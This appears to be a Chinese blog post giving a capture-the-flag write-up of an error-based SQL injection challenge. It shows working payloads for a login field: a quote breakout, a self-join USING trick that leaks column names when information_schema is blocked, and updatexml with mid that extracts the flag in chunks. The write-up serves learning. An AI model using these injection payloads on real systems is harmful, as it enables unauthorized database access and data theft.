18836天

十四届大学生竞赛-easysql

发布于 2个月前 / 53 次围观 / 0 条评论 / 学习笔记 / JunMo
打开页面得到一个登入框,用户名处加单引号sql报错

clipboard.png

information_schema被拦截
clipboard.png
 
sys被拦截,这样通过这两个方式去获取库 表列的方式行不通了

clipboard.png

这里使用报错注入得到当前数据库名security

clipboard.png

通过暴力的方式得到flag表,也同时知道了有id列

admin')and (select id from flag)--+

clipboard.png

 

使用别名的时候,表中不能出现相同的字段名,否则就会报错,从而爆出字段名,在使用using函数依次爆出其他字段名,这里通过两次得到了id跟no这个列

admin')and (select * from (select * from flag as a join flag as b using(id,no)) as c)--+
查询得到第3个列03165c24-8697-4a1f-b41f-af4d00def40c,这里因为列名开头是数字假设如果还有列应该要加``

clipboard.png

 

现在得到了flag的3个列现在使用报错注入去获取数据,这里因为updatexml只能获取32位需要使用函数去获取后半部分,这里得到前32位
admin')and updatexml(1,concat(0x1,((select `03165c24-8697-4a1f-b41f-af4d00def40c` from flag))),1)--+

clipboard.png

这里使用mid取出后面的部分

admin')and updatexml(1,concat(0x1,mid((select `03165c24-8697-4a1f-b41f-af4d00def40c` from flag),10,32)),1)--+

clipboard.png

未显示?请点击刷新